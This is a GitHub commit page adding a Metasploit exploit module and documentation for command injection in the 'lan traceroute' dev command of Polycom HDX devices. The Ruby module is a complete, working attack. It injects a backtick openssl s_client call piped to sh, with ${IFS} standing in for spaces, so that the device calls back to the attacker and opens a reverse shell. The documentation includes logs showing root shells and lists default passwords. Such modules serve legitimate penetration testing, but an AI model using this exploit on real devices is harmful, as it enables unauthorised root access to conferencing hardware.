Skip to content

Commit f83e981

Browse files
committed
Land rapid7#9210, Add a Polycom HDX RCE
2 parents fd1681e + 7edab26 commit f83e981

File tree

2 files changed

+308
-0
lines changed

2 files changed

+308
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
2+
3+
4+
## Vulnerable Application
5+
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
6+
7+
## Options
8+
### PASSWORD
9+
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
10+
the devices.
11+
12+
13+
## Payloads
14+
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
15+
16+
```
17+
Compatible Payloads
18+
===================
19+
20+
Name Disclosure Date Rank Description
21+
---- --------------- ---- -----------
22+
cmd/unix/generic normal Unix Command, Generic Command Execution
23+
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
24+
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
25+
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
26+
```
27+
28+
## Verification Steps
29+
30+
A successful check of the exploit will look like this:
31+
```
32+
msf exploit(polycom) > set RHOST 192.168.0.17
33+
RHOST => 192.168.0.17
34+
msf exploit(polycom) > set LHOSt ens3
35+
LHOSt => ens3
36+
msf exploit(polycom) > set LPORT 3511
37+
LPORT => 3511
38+
msf exploit(polycom) > show payloads
39+
40+
Compatible Payloads
41+
===================
42+
43+
Name Disclosure Date Rank Description
44+
---- --------------- ---- -----------
45+
cmd/unix/generic normal Unix Command, Generic Command Execution
46+
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
47+
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
48+
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
49+
50+
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
51+
PAYLOAD => cmd/unix/reverse
52+
msf exploit(polycom) > set VERBOSE false
53+
VERBOSE => false
54+
msf exploit(polycom) > run
55+
56+
[*] Started reverse TCP double handler on 192.168.0.11:3511
57+
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
58+
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
59+
[*] Accepted the first client connection...
60+
[*] Accepted the second client connection...
61+
[*] Command: echo vGopPRp0jBxt4J2D;
62+
[*] Writing to socket A
63+
[*] Writing to socket B
64+
[*] Reading from sockets...
65+
[*] Reading from socket B
66+
[*] B: "vGopPRp0jBxt4J2D\n"
67+
[*] Matching...
68+
[*] A is input...
69+
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
70+
[*] 192.168.0.17:23 - Shutting down payload stager listener...
71+
72+
id
73+
uid=0(root) gid=0(root)
74+
whoami
75+
root
76+
```
77+
78+
## Debugging
79+
Setting `VERBOSE` to true should yield an output of.
80+
81+
```
82+
msf exploit(polycom) > set VERBOSE true
83+
VERBOSE => true
84+
rmsf exploit(polycom) > run
85+
86+
[*] Started reverse TCP double handler on 192.168.0.11:3511
87+
[*] 192.168.0.17:23 - Received : !
88+
Polycom Command Shell
89+
XCOM host: localhost port: 4121
90+
TTY name: /dev/pts/6
91+
Session type: telnet
92+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
93+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
94+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
95+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
96+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
97+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
98+
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
99+
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
100+
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
101+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
102+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
103+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
104+
105+
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
106+
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
107+
[*] Accepted the first client connection...
108+
[*] Accepted the second client connection...
109+
[*] Command: echo WD3QloY3fys6n7dK;
110+
[*] Writing to socket A
111+
[*] Writing to socket B
112+
[*] Reading from sockets...
113+
[*] 192.168.0.17:23 - devcmds
114+
Entering sticky internal commands *ONLY* mode...
115+
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
116+
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
117+
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
118+
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
119+
120+
[*] Reading from socket B
121+
[*] B: "WD3QloY3fys6n7dK\n"
122+
[*] Matching...
123+
[*] A is input...
124+
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
125+
[*] 192.168.0.17:23 - Shutting down payload stager listener...
126+
127+
id
128+
uid=0(root) gid=0(root)
129+
whoami
130+
root
131+
```
Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
14+
'Description' => %q{
15+
Within Polycom command shell, a command execution flaw exists in
16+
lan traceroute, one of the dev commands, which allows for an
17+
attacker to execute arbitrary payloads with telnet or openssl.
18+
},
19+
'Author' => [
20+
'Mumbai', #
21+
'staaldraad', # https://twitter.com/_staaldraad/
22+
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
23+
'h00die <[email protected]>' # stole the code, creds to them
24+
],
25+
'References' => [
26+
['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
27+
],
28+
'DisclosureDate' => 'Nov 12 2017',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'unix',
31+
'Arch' => ARCH_CMD,
32+
'Stance' => Msf::Exploit::Stance::Aggressive,
33+
'Targets' => [[ 'Automatic', {} ]],
34+
'Payload' => {
35+
'Space' => 8000,
36+
'DisableNops' => true,
37+
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
38+
},
39+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
40+
'DefaultTarget' => 0
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RHOST(),
46+
Opt::RPORT(23),
47+
OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
48+
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
49+
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
50+
])
51+
end
52+
53+
def check
54+
connect
55+
Rex.sleep(1)
56+
res = sock.get_once
57+
disconnect
58+
if !res && !res.empty?
59+
return Exploit::CheckCode::Unknown
60+
elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
61+
return Exploit::CheckCode::Detected
62+
end
63+
Exploit::CheckCode::Unknown
64+
end
65+
66+
def exploit
67+
unless check == Exploit::CheckCode::Detected
68+
fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
69+
end
70+
71+
#
72+
# Obtain banner information
73+
#
74+
sock = connect
75+
Rex.sleep(2)
76+
banner = sock.get_once
77+
vprint_status("Received #{banner.length} bytes from service")
78+
vprint_line("#{banner}")
79+
if banner =~ /password/i
80+
print_status("Authentication enabled on device, authenticating with target...")
81+
if datastore['PASSWORD'].nil?
82+
print_error("#{peer} - Please supply a password to authenticate with")
83+
return
84+
end
85+
# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
86+
sock.put("#{datastore['PASSWORD']}\n")
87+
res = sock.get_once
88+
if res =~ /Polycom/
89+
print_good("#{peer} - Authenticated successfully with target.")
90+
elsif res =~ /failed/
91+
print_error("#{peer} - Invalid credentials for target.")
92+
return
93+
end
94+
elsif banner =~ /Polycom/ # praise jesus
95+
print_good("#{peer} - Device has no authentication, excellent!")
96+
end
97+
do_payload(sock)
98+
end
99+
100+
def do_payload(sock)
101+
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
102+
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
103+
104+
# Start a listener
105+
start_listener(true)
106+
107+
# Figure out the port we picked
108+
cbport = self.service.getsockname[2]
109+
cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
110+
sock.put(cmd)
111+
if datastore['VERBOSE']
112+
Rex.sleep(2)
113+
resp = sock.get_once
114+
vprint_status("Received #{resp.length} bytes in response")
115+
vprint_line(resp)
116+
end
117+
118+
# Give time for our command to be queued and executed
119+
1.upto(5) do
120+
Rex.sleep(1)
121+
break if session_created?
122+
end
123+
end
124+
125+
def stage_final_payload(cli)
126+
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
127+
cli.put(payload.encoded + "\n")
128+
end
129+
130+
def start_listener(ssl = false)
131+
comm = datastore['ListenerComm']
132+
if comm == 'local'
133+
comm = ::Rex::Socket::Comm::Local
134+
else
135+
comm = nil
136+
end
137+
138+
self.service = Rex::Socket::TcpServer.create(
139+
'LocalPort' => datastore['CBPORT'],
140+
'SSL' => ssl,
141+
'SSLCert' => datastore['SSLCert'],
142+
'Comm' => comm,
143+
'Context' =>
144+
{
145+
'Msf' => framework,
146+
'MsfExploit' => self
147+
}
148+
)
149+
150+
self.service.on_client_connect_proc = proc { |client|
151+
stage_final_payload(client)
152+
}
153+
154+
# Start the listening service
155+
self.service.start
156+
end
157+
158+
# Shut down any running services
159+
def cleanup
160+
super
161+
if self.service
162+
print_status("Shutting down payload stager listener...")
163+
begin
164+
self.service.deref if self.service.is_a?(Rex::Service)
165+
if self.service.is_a?(Rex::Socket)
166+
self.service.close
167+
self.service.stop
168+
end
169+
self.service = nil
170+
rescue ::Exception
171+
end
172+
end
173+
end
174+
175+
# Accessor for our TCP payload stager
176+
attr_accessor :service
177+
end

0 commit comments

Comments
 (0)